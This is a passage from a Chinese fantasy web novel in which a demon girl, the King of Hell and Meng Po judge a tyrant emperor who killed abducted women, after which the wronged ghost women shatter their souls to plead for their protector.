极幽泉上忽然凝聚起一团云雾,阿姮仰头,只见那云雾当中雷电交织,滋滋作响,她敏锐地抽身,一道雷电正好降落在她方才停留的地方,将那石台一角击了个粉碎。 烟尘漫漫,阿姮身姿轻盈地落去不远处,双足悬在水面,而这样的距离,霖娘与璇红她们正好将她看得清楚了些。 她们只见阿姮乌发沾灰,身上拢着一件比她身形要宽大许多的漆黑衣袍,四周阴风阵阵,过长的黑色衣摆摇荡在她纤细苍白的脚踝。 阿姮则好奇地看着那团浓厚的云雾,雾中隐约显出一张脸来,那是一张皮肤黝黑的脸,他眉毛粗黑而锋利,双目如炬,黑亮的胡须自他耳下绵延整个下颌,自有万顷威仪。 他一手拂开冠冕前的珠帘,露出被钟声震得裂开金痕的右耳,一副怒容,他在云上喝道: “方狳,你胡乱敲钟,该当何罪!” 第34章 第34章 “吾承认,吾,没有资格断你…… 极幽泉中血水翻腾, 到处是狞鬼残缺的筋骨,云雾中阎王威厉的目光向下一扫,却根本不见判官方狳,他似乎愣了一下, 随后那双眼睛敏锐地扫向不远处, 只见那里一个年轻女子赤足悬立, 周身红雾涌动。 皎白云雾陡然化为乌云密布,道道疾雷从乌黑的云端顷刻下落,阿姮连跃几下, 落去霖娘她们所在的岸边, 道道雷电紧追着她不放, 一道道砸入水中, 激起千层血浪。 “好个妖邪!原来是你在敲钟,”云中, 阎王看向那口被敲烂的巨钟, “竟还毁吾阴司用物,伤吾耳力, 看吾不将你打下十八层地狱, 日日领受火刑!” 乌云之间雷电如织, 闪烁凛冽光影, 疾雷将要落下, 却有暗红的雾气飞浮上去,陡然烧出熊熊烈焰,钻入云中。 阎王胡须被那红云烈焰燎了一截, 他立即按灭烈火,而阿姮在岸边笑道:“火刑火刑,阎王阁下怕是也没尝过火刑的滋味吧?今日算我请你的。” 阎王耳力受损, 只听见模糊的女声,却摸不准她说了些什么,但他也并不关心她到底说了什么,阎王万方威仪,阴司无人敢犯,他没料到这妖邪竟有如此胆色,一时不察竟然被她捉弄一道,阎王一怒,雷霆万钧,乌云中积蓄的雷电闪烁着照彻四方。 阿姮推开凑在她身边的霖娘,飞身跃起,手握万木春,直奔云端,万顷雷电顷刻下坠,不幽林中一道白符飞来,落在阿姮发上,顷刻散开缕缕金芒,阿姮仰首,枝尖触及雷霆,迸发强烈的气流。 雷电消散的刹那,阎王在云中一惊,他立即挥袖,顿时烟云弥漫,顷刻笼罩整个极幽府,而阿姮整个人则飞入那乌云之中。 众人皆被云烟障目,只觉缕缕阴风,刺得人浑身骨冷,霖娘不知是谁紧紧抓住她的臂膀,还在瑟瑟发抖,好不容易云散烟尽,霖娘眼中终于恢复清明,她最先看到拉住她手臂的,原来是春梁。 随后,她看到璇红,晴芸,一众鬼女皆在此,而那些被她们打伤的鬼差也都还在地上打滚儿,只不过……这里好像不再是极幽府! 此地极阴极寒,四周鬼火幽幽,照见一殿阔达,她面前矗立一根约莫五人才能合围的石柱,柱上镂刻重重鬼影,无不是蓬头獠牙,面目狰狞,张牙舞爪。 霖娘吓了一跳,往后退了两步,这才越过石柱,看到石阶之上,四方横梁撑起一道金匾,上书“阎罗殿”。 金匾之下,正对一方长案,案后一把百鬼椅,椅子上那阎王穿墨绿袍服,腰缠金带,头戴冠冕,此时额前珠坠乱晃,他一把胡须被燎得只剩半把,而纤细尖锐的枝尖横在他咽喉,他僵直着身体,凝视着那身披宽大黑袍的少女,他神情有些古怪:“万木春乃九仪娘娘法宝,如何会在你手中?” 三位判官急忙赶来,正得见此情形,不由大吃一惊,那青衣判官忙喝道:“哪里来的妖邪!” 三位判官正要各掏法宝,却见阎王抬手示意他们不要妄动。 三位判官不明所以。 阿姮则用枝尖点了点阎王的喉咙,她看了眼石阶底下躺在地上动也不动的方狳,像是晕了,她漫不经心:“不幽林里还有活人,你救是不救?” “有活人?”阎王此时耳力已恢复许多,他听得明白,这才想起方才不幽林的方向飞来的那道白符,他立即挥袖,随后偌大的殿中忽然凝出淡淡烟雾,待那烟气散尽,十几名僧道茫然伫立,在他们前面,则是一个身着单薄白袍的少年。 那少年抬眸便见阿姮手中枝尖正指着阎王的喉咙,他顿了一下,开口:“阿姮姑娘,你过来。” 那阎王只听得这少年嗓音,他略微转了一下颈项,隔着冠冕上的珠帘,他有些看不太清那少年的容貌,但只见一个模糊的轮廓,他便立即抬手掀起珠玉,将那少年上下打量一番,他神情讶异,脱口:“你……” “阎王恕罪。” 少年的声音几乎与阎王的声音同时响起,阎王立即没了声音,只是仍旧盯住那少年,神态古怪,而少年却微微垂首,道:“阿姮姑娘涉世未深,尚不知天高地厚,但她并非存心擅闯阴司,而是那方判居心不良,但请阎王明察。” 阿姮侧过脸看向那少年,他语调缓缓,阿姮总觉得他那句“不知天高地厚”不是什么好话,而他一定是故意的。 阎王看了一眼横在他面前的枝尖,幽幽鬼火照得这焦枝漆黑发亮,若金石熠熠,他再看那神态倨傲的少女,阎王倒也不怒,只瞥一眼地上那鼻青脸肿,还未苏醒的方狳,他不必深想,便知道这一定是此女妖的手笔。 阎王开口,威仪万方:“自慎。” 那青衣判官正是赏善判官郭自慎,他立即上前几步,垂首应声,随后到那方狳身边,俯身将手中碧玉笏板在方狳头顶一挥,淡淡莹光闪烁。 阿姮此时却注意到阎王坐的这张白骨堆成的椅子底下,百双骷髅眼里镶嵌着剔透的珠石,一闪一闪,鬼火飞浮。 她一时觉得这张椅子有趣又漂亮,枝尖落在阎王胸口拍了拍,有些新奇似的问:“你这椅子真好看,我可以坐坐吗?” 那三名判官当即竖眉,齐齐怒斥:“大胆妖孽!” 阎王抬手制止了三位判官,他见面前这年轻女子笑盈盈地将焦枝收了回去,仍在打量他的椅子,阎王什么也没说,倒真站了起来。 阿姮立即绕过他,一屁股坐到那百鬼椅上,她低头细看,才发现这些白骨骷髅竟然还有细微的,亮晶晶的光泽。 此时,椅子下白骨骷髅眼里珠光大亮,阴寒的烟雾从骷髅口中喷出来,很快盈满整个阎罗殿的地面,阿姮双肘撑在扶手上,靠上椅背,手指戳戳骷髅眼里的珠石,笑着说:“真有趣。” 那青衣判官郭自慎向来和善可掬的脸此时又惊又怒,面皮抽动数下,正要扬起手中笏板,却见阎王立在鬼椅旁,神色自若,不见动怒,正是此时,那躺在地上的方狳悠悠转醒,他只见一片漆黑的穹顶,便一瞬发觉自己身在何处,他立即坐起身来,目光寻向阶上阎王座:“阎王……” 方狳方才张嘴,目光触及阎王座上身披黑衣,双膝交叠的年轻女子,他声音戛然而止,再看阎王座旁,墨绿袍服,冠冕珠玉,一副庄严之相,正是阎王。 方狳愣住了。 “阿姮姑娘。” 程净竹看着那阎王座上悠然自得的女子。 此时霖娘快步上阶,硬着头皮去拉住阿姮的手臂,低声喊道:“阿姮,你快起来,不可以冒犯阎王!” 阿姮才不管什么冒犯不冒犯,但她对上程净竹的目光,心中不耐,只好提醒自己,他有一颗好心,还有一身好血,她借着霖娘的手劲,懒洋洋地起身,下阶。 阎王徐徐吐出一口气,重新坐到自己的宝座上,双臂一展,宽袖摆动,他双手撑在膝盖上,沉声道:“方狳,你可知罪?” 方狳跪在皑皑云雾之中,一时紧绷下颌:“下官……” 阎王冷哼一声,一掌拍在案上,顿时云雾涌动,他一双肃穆的眼凝视方狳,却朝那赏善判官郭自慎招了招手,郭自慎立即朝殿外喊道:“带上来!” 殿外漆黑一片,只有雾气缭绕,不多时,几个鬼差抬着一张长方的春凳上来,那春凳上躺着一个人,说是个人,可他全身的皮肉都已经不成样子了,鬼女们从未见过此景,一时吓得连连后退,口中惊呼。 阿姮一瞬不瞬地看着那春凳上不成人形的鬼影,只听那鬼张了张嘴,颤颤巍巍道:“阎,阎王爷爷……” “何秀才……”霖娘躲在阿姮身后,听见这声音,她惊愕出声,“是何秀才?!” 此时,阎王在座上问道:“何秀才,你说,你在巢州榕树镇的不枯谷中见到万艳山鬼女害人性命,你侥幸逃脱,欲往阴司报信,却落在极幽府,被阴律判官方狳所困,你为到阎罗殿来,只得蹚过油锅,栽入崖底,摸石越境,是否属实?” 蹚油锅…… 阿姮颇有些意外似的,她再度看向那春凳上的何秀才,就他那副怂包模样,竟然连油锅也敢钻? 霖娘乃至璇红等一众鬼女也都惊愕极了。 尤其是璇红与晴芸她们那些曾在洞窟中玩弄过何秀才的鬼女,她们个个神情惊异地审视着他。 “小生,小生所言句句属实!”何秀才浑身剧痛,他要哭不哭地嘶声道:“小生谨记阎王爷爷的嘱咐,不敢怠慢一分!可小生不知万艳山往阴司的路,却是在极幽府中,方判不肯听小生一句解释,便将小生押下,小生实在是没办法才……” 他似乎自己都不敢再多想那口巨大的油锅,里面的滚油,烫得他皮开肉绽,痛得整个人都要炸开了。 “你是个好后生。” 阎王点点头,说道。 随后,阎王抬起眼帘,透过珠玉,他再度看向方狳,道:“说,你为何扣下这后生?你又为何用狞鬼锁锁住吾的阎王钟?方狳,你到底有何事瞒吾!” 阎王威压尽释,方狳整个人筋骨欲散,他猛然垂首,整个人都陷入地面漂浮的云雾里,口中惭愧道:“阎王!下官……下官愧对阎王!” 阎王喝道:“快快道来!” 方狳闭了闭眼,深吸一口气,仍没抬起脸,声音有些发紧:“下官……曾听手底下鬼差说起,岐泽国有一位璇红郡主,乃是一位绝代佳人,下官令鬼差寻来画像,果然见其容质绝色,正逢岐泽国闹叛乱,上下纷乱,下官听闻璇红郡主香消玉殒,阴司却不见郡主生魂,故而使鬼差前往阳间寻找,最终,凭着郡主旧物,鬼差找到万艳山,又从雪野中挖出郡主的头颅……这才寻得郡主芳踪。” 方狳继续说道:“鬼差将郡主生魂勾入极幽府内,下官亲眼得见郡主芳容,便有心纳郡主为鬼妾,郡主不从,下官亦强求之,但不料想,阳间万艳山上有个鬼女峣雨,她为救璇红郡主下来阴司,不惜跳入极幽泉中敲响阎王钟……” 听到此处,阎王眉心一跳,他立即道:“上一回你极幽府钟响,不是恶鬼出逃作乱所致,而是那峣雨在敲钟?” 方狳低声应:“……是。” “原来如此,”阎王怒目视之,“原来如此!方狳,你好大的胆子!” 事到如今,方狳辩无可辩,只得颓然叩首。 阎王胸膛起伏一阵,随后他目光在那一众鬼女之间来回一扫,最终定在璇红身上,他这双阴司之主的眼,不必罚恶判官翻开手中的罚恶录,他亦能一眼看穿璇红身上的命债:“你便是那璇红郡主?” 璇红头上的凤冠早不知哪里去了,她的发髻也散了,一头乌黑的长发凌乱披散,更衬她秀项惨白,颈侧那个生前被烫出的“妓”字尤其明显,她冷冷一笑:“是又如何?” “方狳强占你为鬼妾,是他为官不正,”阎王冠冕前的珠帘晃动着,他威严的声音响彻殿宇,“可那峣雨救你回到阳间,是让你去害人性命的么?” 璇红的神情陡然变得阴狠:“峣雨救我,是她太傻了!人都是我杀的,与她没有任何相干!” 阿姮看向璇红,很奇怪。 明明璇红对待那位峣雨国主,从来不尊敬,也从来不亲昵,她刻薄,傲慢,她极尽嘲讽峣雨的所作所为,而此时阎王殿前,璇红却是在用尖刻的言辞极力证明条条人命,全与峣雨无关。 她的刻薄,她的傲慢,像是一副纸做的壳子,一朝刀刃割开表象,阿姮不禁想,在璇红心中,峣雨到底是怎样的存在? “阎王又如何?” 璇红冷冷地嗤笑,她面上轻蔑的神情毫不遮掩:“你也不过是一个男人,无论阳间阴间,一个男人朝三暮四,妻妾成群叫做风流,若他的妻妾是强占来的,你们也可以说,那是私德不佳,而私德算什么?那并不影响你们大丈夫的风度,女人在你们心中,是衣服,是附庸,你们赞美贤妻,赞美她们为你们而活,你们羞辱□□,辱骂她们作为衣服却不止被一个男人穿过……哈哈哈哈哈哈哈……讽刺!天大的讽刺!” 璇红放声大笑,却引得鬼女们呜咽浸泪,璇红的笑声也因此而逐渐凄楚:“楼玄英说他爱我,天都城破,他却弃我而逃,冯寅辱我,却被人写作艳情文章,因此市井之间遍传我与冯寅有情……” “有情?” 璇红一边哈哈大笑,一边用红艳艳的指甲去抓挠颈侧的烫字,抓得皮肉翻卷,可那字痕早就从她生前的皮囊烙印进她的灵魂,她双目通红:“多恶心啊……阎王,你想审判我吗?你也是个男人,你没有审判我的资格!” 璇红字字如刀,震彻阎罗殿。 阎王端坐宝座,他浓密的眉深深拧起,良久,众人却不见他雷霆震怒,只见他点了点头,唤赏善判官:“自慎,你去奈何桥请孟婆来。” 郭自慎愣了一下,虽不明所以,却还是低首应声,转身去了。 阎王这时又唤罚恶判官:“郁怀,你去将娄玄英的生魂带来。” 阿姮问身边的霖娘:“孟婆是谁?” 霖娘从黑水村那样的世外之地来,她哪里知道,茫然地摇了摇头。 阿姮只好往程净竹身边挪了挪,拽一拽他的衣袖,问:“小神仙,孟婆是谁啊?” 程净竹垂眸瞥一眼她抓住他衣袖的手,道:“孟婆是阴司奈何桥上,为将要投胎的生魂煮汤的鬼婆。” “汤?什么汤?好喝吗?”阿姮问道。 “是令生魂忘记所有生前往事的汤,喝过那汤,他们便能去投胎轮回,成为一个崭新的人。” 程净竹说道。 赏善、罚恶两位判官做事十分利落,很快便各自领来了人,阿姮看到那罚恶判官身后,正是那不久前在阳间被璇红杀死的娄玄英,他一副惶惶之相,哪里还像方才在阳间时那副被人簇拥的金贵模样。 而赏善判官身后,则是一个佝偻着身躯,发髻花白,步履却十分矫健的老妪,她手中还拿着个铁勺,似乎有些不大高兴,但在殿前见到阎王,她立即作揖:“阎王大人,老身正在奈何桥煮汤,不知阎王大人何事来唤?” 此时,阎王忽然站起身来,他两步走到宝座边上,对孟婆道:“吾晓得你在奈何桥一向不得闲,但今日,吾有一案,要你孟婆代为评断。” 此话一出,满殿皆惊。 便连璇红也不敢置信地望向宝座旁袍服严整,相貌庄严的阎王,那孟婆几乎以为自己听错了,她愕然道:“什么……?阎王大人?老身没听错吧?老身年迈,又只懂得煮汤,哪里懂什么断案呢?” 阎王却道:“今日这案,必须你来断。” 随后,阎王又看向璇红,道:“璇红郡主,你说吾身为男身,没有资格断你的案,那么吾便请来孟婆为你断案,但吾这么做并不是完全认同你方才所言,吾不齿方狳所为,亦不认同你生来便该是谁的附庸,若阳间世道如此,那便是世道的错,吾怜你生前遭遇,而你死后再遭凌辱,确是吾御下不严之过。” 殿中鬼火营营,满地白雾浮动,阎王神情肃穆: “吾承认,吾,没有资格断你的案。” 第35章 第35章 她垂着眼帘,似乎在看峣雨悬…… 阎罗殿上, 幽绿的鬼火在巨大的铜缸中熊熊燃烧,整个殿宇的地面都被茫茫的白雾笼罩,几个兽首鬼差得了罚恶判官的令,将手脚绑了镣铐的娄玄英往殿前一扔, 一鬼差森然喝道:“跪下!” 娄玄英一个趔趄, 扑倒在地上, 手上脚上的镣铐却猛然收紧,紧接着他发现自己的躯体不受控制地仰起,随后双膝不受控地弯曲下去。 作为一个帝王, 娄玄英早已忘记自己曾身为人子时跪父皇时的情形, 他唯记得, 自己在皇帝座上几十载, 从来居高临下,备受仰望。 “孟婆, 请吧。” 阎王抬袖。 孟婆见阎王如此坚决, 她倒也没再说些什么,只将自己手中的勺子放到案角上, 绕过案去, 坐上那阎王宝座。 阿姮看到白骨骷髅中珠石熠熠, 云雾更涌。 此时孟婆微微抬起头来, 阿姮方才见她花白的发髻正中插着一把银梳背, 髻边两支玉簪剔透,而她那副面容虽老,双眼却寂寂澄然, 她安然坐在阎王座上,双手扣膝,双目垂向那娄玄英, 缓缓出声:“岐泽国皇帝,老身听说,你深爱表姐璇红,多年不敢忘怀,还年年为她祝冥寿,是不是?” “朕……” 娄玄英方才张口,猝然见一鬼差以一副羊脸忽然凑了过来,眼露凶光,娄玄英吓得往后一缩,后背却抵上一双腿,他一回头,又见一鬼差低下牛头,鼻中哧哧冒气,牛眼阴寒,娄玄英面露惊恐,却听一道声音响起:“怎么?还当这里是阳间,还以为你是那一国之主不成?阎王面前,你怎敢称‘朕’?” 阿姮循声看去,只见那人在幽幽绿火中,他已在此静立良久,正是那三位判官当中的一位,他比赏善、罚恶二位判官看着年纪要更轻些,留着一把黑亮的胡须,鬓边几缕浅发垂落,显得有些随性凌乱,那双眼睛神光好似剑上雪光。 “他是什么判官?” 阿姮只觉得他的面目看着比其他三人的都要好些,有些浸透文墨的雅,而因为这分雅,他又有种流转于刀笔之间的锐利。 听见阿姮小声的询问,程净竹看了一眼那白衣判官,低声道:“阴司有四府,四府之首为四判,方狳为阴律判官,方才那两位一个是赏善,一个是罚恶,那么这位,应该便是察查判官王山照了。” 此时,那娄玄英被几个鬼差逼得无路可逃,手脚间的镣铐又重若千钧,他忙改口:“我,我的确爱慕红表姐……” 孟婆闻言,又问道:“那么,她又是否爱慕你呢?” 这当头一问砸下来,触中娄玄英心中敏感之处,他不由转过脸,望向站在不远处的璇红,她乌发绛帔,姿容还似红药碧桃,灼灼其艳,她那双天生眼媚丽欲滴,却总是不屑地垂睨他。 正如此刻。 娄玄英双手紧握成拳,阿姮歪头见他久不出声,便悠悠道:“喂,你哑巴了吗?” 从一个活生生的人,成为一个死气沉沉的鬼,娄玄英的皇帝尊严在被反复践踏,而此刻,他听见那孟婆在阶上道:“岐泽国皇帝,回话。” 娄玄英面对璇红嘲讽的目光,他喉咙滚动一下,垂下眼帘,道:“我……爱慕红表姐,爱慕她的骄傲,爱慕她的明媚,我与皇兄一样,习惯簇拥她,想要赢得哪怕她一丝一毫的青睐,可她,从来不爱皇兄,好像亦从不……爱我。” “好像?” 孟婆闻言,不由看向那身披绛帔的鬼女,却问娄玄英:“什么叫好像?难不成你至今心中仍旧希冀她心中有你吗?” 孟婆看似年老体衰,并不威严,但阿姮却见娄玄英身躯陡然一僵,仿佛正被孟婆这番话剖中心中最隐秘的东西。 璇红却在此时哈哈大笑起来:“娄玄英,是吗?你心中真这么想吗?” 娄玄英听见她娇细的笑声,他下意识地抬首看过去,却正对上她那双阴寒的眼睛,她那么冷艳,目光像毒蛇一样,恨不得将他绞碎,他听到她冷笑着说: “我真瞧不起你。” 这声音几乎很快在他耳边与经年的记忆相重合,那个时候,冯寅还未反叛,天都一派祥和,恰逢皇宫盛会,他在园亭中见到红表姐,她被贵女们簇拥,醉态迷蒙。 他那夜也喝得很醉,所以在顽石小径上,闲静少人处,他跟上去,与红表姐并踏月色,犹豫了很久,才问她,皇兄身边已不止一女,她果真要嫁给皇兄吗? 红表姐笑得珠鬟颤颤,却问他:“你来提醒我,是想让我不快,还是想我去找你皇兄不快?” 他听到红表姐说要去找皇兄,顿时脸色一白,说不出话。 红表姐却停下来,她那双美目淡淡扫过他的脸,红艳艳的唇微扯,好似乏味:“玄英,我真瞧不起你。” 那晚的红表姐永远留在他的记忆深处,他记得她的骄矜,她的无情,就好像如今,哪怕她早已容光不复,烙印加身,沦为一个鬼女,她也依旧不改对他的刻薄。 “你还是这样。” 娄玄英缓缓摇头,他眼中似乎积蓄了太多复杂的情绪:“你为什么还是这样呢?” 谁都不知道他到底在说些什么,璇红阴冷地睇视他,满殿鬼差,一帮僧道,都盯着他,阿姮也没明白他到底在念叨些什么东西,此时,阎王座上,孟婆徐徐说道:“你爱慕她,所以恨她,而你以为,她恨你,所以也许,她曾经心中有你。” “这是什么道理?” 阿姮不解地问。 那孟婆看了一眼阿姮,微微一笑:“不过是他以己度人罢了,老身在奈何桥上不知遇见多少痴男怨女,像他这样的人,老身也不是没见过,他爱慕璇红郡主,心甘情愿地将她高高捧起,放在口头心头,一刻不忘,可日子一长,深深的爱慕就被他自己熬成一锅怨毒的汤,他的爱,开始变成恨,恨被他高高捧起来的心上人,从不肯多看他一眼,恨璇红郡主凭什么在他心中可以那么高高在上,恨自己始终要仰望她……” “爱熬成了恨,所以当他看到这个一直以来都不将他放在眼里的心上人有朝一日从高处狠狠摔下来,被人折辱,再高贵都变得不高贵,他心中便有了一种隐秘的快意,于是他迫不及待地想要见到她,以一个皇帝的身份再见她。” 孟婆的声音轻缓:“他以为从此攻守易形了,他以为该是他高高在上,俯视她的狼狈不堪,可他没有想到的是,再见璇红郡主,她竟然与过去并无不同,她不肯将他当成泥淖中唯一的救赎,她仍然不将他放在眼里,可她凭什么呢?她明明与那些被反贼霸占过的女子没有什么不一样。” 孟婆的语气很容易让人有一种昏昏欲睡的感觉,但阿姮却觉得她似乎有一种特别的力量,不过弹指之间,她便已经洞悉了娄玄英与璇红各自深藏的执念,她的目光停在娄玄英身上,以一种平静的口吻,道:“哪怕她曾是一朵高贵娇艳的花,也已经碾作尘泥,脏透了。” 璇红惨白的面庞有一瞬扭曲。 娄玄英更像是被孟婆戳穿所有隐秘,他整个人僵在那里,只听孟婆又道:“皇帝想不明白,恼羞成怒,他听说了天都中关于璇红郡主的流言,他猜疑着璇红郡主与反贼冯寅之间此前种种,近前臣子进谏,他便下定决心,以‘失节侍贼’之罪,在万艳山照雪坡杀璇红郡主与所有被叛军掳掠霸占的女子。” “他耿耿于怀郡主失节,又因郡主的心从不在他身上而怀疑郡主是否对旁人动心,他怨恨,他不甘,他杀郡主,又忍不住总会想起她,想起自己从没得到她的心,又想,郡主既然恨他,会不会也曾像他一样心中有情。” 阿姮从不知道一个人类脑子里竟然可以有这么多的弯弯绕,她不由咂舌,却听身边霖娘愤愤骂道:“就因为你爱慕璇红郡主,她却不爱你,你便心生怨恨?可凭什么她要爱你?你也不看看自己,你这种人,凭什么可以得到她的爱?” 娄玄英心中所有难以启齿的东西全部都被孟婆剖开在人前,他此时终于回过神,扯了扯嘴唇:“是。” 他望着璇红,忽然笑:“我爱慕红表姐,也憎恨红表姐。” 他说不清自己到底是爱慕她的高傲,还是憎恨她的高傲,他觉得她永远是一座高山,他只能远望,不能高攀,可他偏要。 娄玄英想要起身,可千钧镣铐却压得他动弹不得,他依旧只能这样仰望她:“我憎恨你高傲的头颅,所以我斩下它……” 他仍然低低地笑:“你说你瞧不起我,可到底,你却成了冯寅的玩物,你又凭什么瞧不起我呢?我给过你机会的,只要那天,照雪坡上,你向我低头。” 璇红眼眶盛满怒火,胸膛几经起伏,却忽然听阿姮轻声笑道:“你这人怎么成了鬼,还满口胡话?” 程净竹久不出声,此时静默地看着阿姮走上前去,裙摆微扬,露出那双苍白的脚,她停在娄玄英身边,作为一个妖邪,她毫不掩饰她对娄玄英这种人类的轻蔑:“我听说,你们人类的皇帝掌握着一整个国家,皇帝有军队,有财帛,人们拥护你,而你必须要用你所拥有的一切来保护人们,那也就是说,你,还有你的哥哥,你爹,你们三个明明拥有一切,却还是被那个叫做冯寅的打到你们的国都。” 阿姮悠悠道:“国都都被人打穿了,璇红与这些女子被冯寅所掳,最根本的原因,难道不是因为你们父子三人实在无能?” “你……” 娄玄英一瞬看向她,却蓦地对上阿姮一双暗红的眼睛,他心中一跳,陡然失声。 “说到底,璇红郡主与这些女子都是柔弱之身,她们被冯寅掳走,也不是出于自愿,她们……又有什么错呢?” 那老道不禁开口。 “璇红郡主被反贼所掳,此乃国耻!不想皇帝竟然以一己之私,加罪于璇红郡主还有这些可怜的女子……实在为君不仁!” 一僧人摇头,说罢,便念一声“阿弥陀佛”。 其他僧道也连连附和。 璇红垂着眼帘,怔怔地望着面前阿姮的裙摆,而晴芸与其他当初一道在照雪坡上被杀的姐妹们都泣不成声,她们生前受辱,死后亦因此而在苦痛中反复熬煎,难以解脱。 阎王在案边,问孟婆:“可有个了断了?” 孟婆却笑:“阎王要老身断案,老身已然将这案情断了个分明,只是这最后的惩处,却实在不该老身再来做主,还请阎王明断。” 说着,孟婆便站起身来,将案角的勺子收了,退到阶下。 三名判官见状,立即到阶下,一字排开,各持笔录,神冷容肃,而阎王则重新坐回宝座,双袖一展,他看向阶下那楼玄英,道:“万艳山有今日之祸,全因你娄玄英当初种下的恶果,你身为岐泽国皇帝,生来享有千金万宝,受万民供养,璇红郡主与这些女子无不是因你父兄三人无能而被反贼所掳,乱世之中,女子飘萍之身,本就苦楚难言,而你非但不怜惜她们所受之屈辱,更以此辱加罪于人,残害无辜,可见你本性可恶,实难相恕!” 阎王双掌撑在案上,双目如炬:“今日,吾便罚你立即轮回,入畜牲道为牝豕,困于畜圈,一生孕豚不尽,遍尝牲畜之苦,至死方消!” 兽首鬼差侍立殿前,目光阴冷,齐声诵念:“化为牝豕,孕豚不尽,遍尝其苦,至死方消!” “化为牝豕,孕豚不尽,遍尝其苦,至死方消!” 娄玄英双瞳紧缩,他猛然惊声大叫起来:“不!” 他拼命地想要站起身来,却被镣铐压得越来越狠,他半个身子都被地面漂浮的白雾所笼罩,他惊恐地喊:“朕是皇帝!朕有真龙之气!朕乃世间至尊至贵,尔等怎敢判我!尔等怎敢判我!” “哈哈哈哈哈哈哈……” 那罚恶判官像是听到了什么好笑的笑话,朗声大笑起来,殿内鬼差亦无不仰颈狂笑。 “哈哈哈哈哈哈哈哈!” “哈哈哈哈哈哈哈哈!” 娄玄英被他们尖锐的笑声刺得耳膜生疼,他像疯了似的:“你们不许笑!朕命令你们!不许笑!” 那察查判官王山照淡淡一笑:“什么真龙之气,那本是上界为稳固人间万国安危,防备妖魔祸世的手段,你在阳间再是一国之主,到了阴司,你也必须为你生前所为种种恶果付出代价。” “是冯寅攻入天都烧杀掳掠,是他!明明是他!” 娄玄英嘶声喊道。 “放心,”那罚恶判官翻一翻手中的罚恶录,说道,“他比你先一步入了畜牲道。” 随后,罚恶判官看了看宝座上的阎王,见阎王颔首,他便立即朝鬼差勾了勾手,兽首鬼差们一拥而上,用铁索套住那娄玄英的脖颈,将他拿住,连拖带拽的,带去殿外。 “朕是皇帝!朕是皇帝!” 娄玄英的嘶喊越来越远。 殿中忽然静了下来,此时,阎王看向那似乎一直在发呆的璇红,他摸了摸被阿姮烧卷了的胡须,如今璇红与一众鬼女就在面前,他掐指一算,便算到了发生在她们身上的事,他沉思片刻,开口道:“璇红郡主,吾怜你与你那一二十鬼女皆因被冯寅与娄玄英二人先后残害,所以才误入歧途,而你们所害之人中又多是好色之徒,吾可以宽恕……” 阎王正说着话,却见璇红周身莹光飞散,他的声音戛然而止。 “璇红姐姐!” 春梁大声喊道。 阿姮就站在璇红身前,她听到春梁一声喊叫,随后那么多鬼女齐齐奔来,阿姮一下转过身,看向被鬼女们簇拥在其中的璇红。 不止是晴芸她们,还有那些被峣雨保护在园子里,过了好几十载静好岁月的鬼女们,她们靠过来,却又谁都不敢触碰璇红。 阿姮看到璇红身上莹光不断地四散开去,而她的身躯开始逐渐转淡,她身上没有一点黑气,她看起来似乎从未如此平和过。 霖娘心中有种不好的感觉,不由出声:“她……怎么了?” 程净竹看着那一幕,道:“她粉碎了自己的魂魄。” 粉碎……自己的魂魄? 霖娘张了张嘴,却一句话都说不出。 “璇红。” 阿姮诧异似的,她作为妖邪,当然感应到璇红是多么果断地粉碎了自己,但她不解,问道:“你对这判罚不满意吗?” 璇红看着阿姮,她红唇微微勾起:“他那样的人,沦为畜牲,远比神魂消散要解恨得多。” “既然如此,你又为何要……”阿姮顿了一下,说,“永远消失?” 璇红朝她招招手,示意阿姮走近,鬼女们哭泣着让开一条道,阿姮几步走近,璇红便望着她发髻间的三尾偏凤,说:“阿姮姑娘,我生前受辱,死后亦受侮辱,我已经……不想要再投胎为人了,我不想存在于天上地下任何地方。” 璇红说着,伸手碰了碰阿姮鬓边的珍珠流苏:“峣雨曾说,这是她的陪嫁,多寒酸啊,她说她是天都小户人家,曾经嫁给一个人,他们彼此爱慕,但反贼攻入天都,杀了她的夫君,她被贼人掳走,一路带去很多地方,她被送给很多人,但她还是努力活了下来,以微小之身,也曾挣得一条明路,她原本已经逃走了,可是路上又遇见我们,她偷偷跟着,直到反贼被诛,我们落到娄玄英手里,她没办法上山,等了很久,等到娄玄英离开行宫,她上山才发现我们死了,是她为我们收殓尸骨,她在万艳山守着我们没两年,她就因染病而死,也算与我们魂归一处了。” “峣雨很宝贝她的这件东西。” 璇红忽然收回手,看着阿姮说:“她是觉得自己不会善终,所以才将东西送给你。” 阿姮怔怔地与她相视,下意识地伸手摸了摸髻间的偏凤,此时,璇红却忽然抓住她的那只手,紧紧地抓着。 阿姮低头,看到璇红将腕上那只剔透润泽的玉镯缓缓推到她的手腕,她听见璇红道:“我一生没爱过任何男人,也从未嫁人,所以这不是我的陪嫁,仅仅只是我众多首饰中的一件,阿姮姑娘,我今日赠你,算我谢你在山上替我解开峣雨的法阵。” 璇红的目光从玉镯移到阿姮脸上,说:“我教你的那些,并不是获取真心的法门,那只是轻浮的欲望,我其实根本帮不了你。” 璇红承认骗了她。 可阿姮却不知道为什么,她摸着腕上的玉镯,却并不觉得生气。 “阎王大人,” 此时,璇红松开了阿姮,她周身莹光仍然不断飞散,她看向阶上已经站起身来的阎王,道,“我的罪过不必您来宽恕,但若您有办法,还请你救救峣雨,她从来没有害过谁的性命,她不肯入阴司,执意要在万艳山上,也全都是为了我,为了这些姐妹,她苦修几十载,好不容易化成一内丹,却是为了保护我们……” 璇红不禁触摸颈侧的烙印:“她是为了遮掩我们的不堪,维护我们的尊严,如今,又是为了我们,她不惜以魂飞魄散为代价搏杀娄玄英身上的帝王气,助我们报仇,阎王大人,璇红求您,救救峣雨。” 娄玄英何其在乎璇红这颗永远高傲的头颅,可阿姮此刻却看到璇红跪了下去,低下头,认真地恳求。 阿姮忽然想到。 璇红不讨厌峣雨,她一点也不讨厌峣雨。 相反,她很珍惜峣雨,珍惜这个曾守着她们的尸骨到死,又与她们相依为命的女子。 璇红早就想好了自己要走的路,所以她要与峣雨拉开很远很远的距离。 就像峣雨保护她们一样。 她用她的刻薄,傲慢,生疏,保护峣雨。 “求阎王大人!” 晴芸跪下去,周身散开淡淡莹光,她满眼是泪:“妾晴芸,为人,受尽其苦,为鬼,亦痛苦难赎,妾愿魂消魄散,求阎王开恩,救国主生魂!” 那二十来个跟随晴芸犯下杀孽的鬼女们也全都跪了下去,她们身上亦散出缕缕莹光,泣声乞求:“求阎王大人!救救峣雨国主!” “晴芸姐姐……”春梁奔上去,哭喊道,“姐姐们!你们……你们为什么……” 